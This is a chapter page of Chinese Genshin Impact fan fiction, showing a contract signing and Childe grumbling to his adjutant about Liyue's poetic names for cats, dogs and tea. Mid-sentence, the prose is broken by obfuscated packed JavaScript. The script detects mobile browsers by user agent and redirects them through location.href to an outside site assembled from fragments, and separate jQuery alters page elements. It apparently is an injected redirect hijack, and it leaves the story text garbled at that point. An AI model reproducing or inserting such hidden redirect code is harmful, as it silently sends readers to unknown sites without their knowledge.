74.你我的心意(第2页)
再三确认无误后,谢缪尔副官签了字。提瓦特通用语和至冬语都落款“谢缪尔”这个名字。
“公子大人的签署会在两个工作日后完成,我会递交给贵国的天权凝光大人。”他这样说着,“毕竟贵国并不信任副官可以代行执行官文书工作的职责,只能等待两个工作日走完流程了。”
夜兰再三比对了谢缪尔·雪奈茨维奇的身份信息,确实是【公子】提供的副官信息没有错,才施施然起身离去。
如果不出意外,这份合同未来真的要出意外了。
情报员的直觉提醒夜兰有地方不对劲,但她此时九成的注意力都被【公子】去向分走了,只有一成用来观察这个冷冰冰的副官。
啧。
夜兰转过身去,脸上笑意全消。
她讨厌至冬人,尤其是对璃月虎视眈眈的至冬人。
对璃月虎视眈眈的至冬人达达利亚最近在恶补璃月文化知识。
“昨天我出门逛街,你不在,差点闹出大笑话了。大街上铺子的牌匾写的文字我一个都不认识,这也算了,毕竟在璃月,这里的人用璃月语书写也没问题。但是为什么他们要用所谓的【雅称】来代指物品啊?”
八月的某个下午,达达利亚翻着一本精装版的《璃月风物志百科全书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990910|173207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
》指指点点:“你看看,璃月人管猫叫狸奴,带猫回家叫聘狸奴。和娶妻下聘一个级别。我昨天跟人在茶馆聊天听他们说什么‘下聘迎狸奴进门,夫人会同意的’,只觉得人都炸开了。还寻思着璃月怎么这么老封建,竟然还有奴隶制、执行一夫多妻这样的腐朽贵族做派。然后我跟着那个先生回家,想告诉他的夫人你丈夫养女奴还要带回家,必要的时候我能帮你教训负心汉——结果就看见人家夫妻两个抱着一只小橘猫亲亲热热的喊小狸奴。”
达达利亚面如土色:“我当时还没有反应过来,又听他们聊起聘礼给了多少,才听清是用柳条串起的五条小银鱼,给小橘猫妈妈的。只能说幸好没有一开始就莽上去,不然真的丢人丢到国外了。”
达达利亚翻了一页书,然后又愤怒的戳啊戳:“还有这里,茶水叫不夜侯,酒水叫忘忧君,古琴叫桐君,狗居然叫福孙!狗取个像人一点的或者有特色的名字不就好了吗?亏我还真的以为谁家得了宝贝大孙子呢!”
谢苗要是个正常人,这会已经笑岔气了,他几乎可以想象到对璃月文化十窍通了九窍的达达利亚是如何义愤填膺的要伸张正义,是如何迎着笑脸凑过去祝贺人家家中添丁!
好在谢苗没有笑,他从难过的上司手中抽出那本封面烫金的精装版《璃月风物志百科全书》,不出所料的看见一个外国人的名字:“这是枫丹出版社出版的书籍,搜罗的几乎是璃月历代文人墨客在作品里用到过的事物代称,随着时间变迁,璃月港如今留存下来的称呼几乎没什么歧义。至于长官你遇到的狸奴和福孙,算是少见的在文化人家中通用的称呼。毕竟家中养猫养狗还是很常见的。”
往生堂的胡堂主就不会叫猫为狸奴,只会叫大白肥橘橘小黑蛋黄锅巴——封阳曾看她对躺在门口阴凉处的一只大橘猫叫肥橘橘、蛋黄锅巴、咸鸭蛋、小橙子等等多个称呼,然后当做趣事分享给谢苗。
“真的?”达达利亚将信将疑,片刻后选择相信副官的话,“如果这些词用的人不多,我就不学了哦?”
谢苗想起了什么,忽然变了口风:“算了,还是学吧。”
“哎?为什么啊!”
“万一璃月七星这边的人看长官你不顺眼,故意刁难你,在请客吃饭的时候谈天说地聊菜品故事,你听不懂怎么办?坐在凳子上等脸红成猴子屁股?”
这会可不是在至冬,他这个副官没法像过去那样全天候陪同。
“还能这样啊?”达达利亚吃惊,他真没想过这一层,“应该不会吧?请客吃饭只用讲讲主要材料成分和产地不就行了吗?”
他看富人请客吃饭就是巴拉巴拉食材多珍贵多难得你们这些山猪吃不了细糠的家伙给我细细品味不许当军粮啃!
谢苗一时间不知道该怜悯谁,决定怜悯一下自己:“长官,我应该给您聘请一位地道的璃月人文向导,提前接触这些的。”
达达利亚歪头:“我看你身边那个小伙子就挺好的,天天带你吃喝游玩——介绍给我认识认识?”
“不要。”谢苗一口回绝。和执行官扯上关系,封阳只会被卷入更深的漩涡里。
“谢缪尔小气鬼!”达达利亚又生气了(年轻人就是情绪不稳定)。他愤愤起身,抓起外套就要走,“你胳膊肘往外拐!冷漠无情!无理取闹!见异思迁!我要冷暴力你!”
看来是真闹脾气了,一连甩出好几个新学的璃月词汇。
但是是不是用错了地方?
找向导的事必须得提上日程了,长官。
谢苗看着他怒气冲冲离开的橘子后脑勺,不咸不淡道:“晚上记得回来吃饭。”
回应他的是如雷的下楼步声,年轻的执行官似乎要把楼梯踩个窟窿。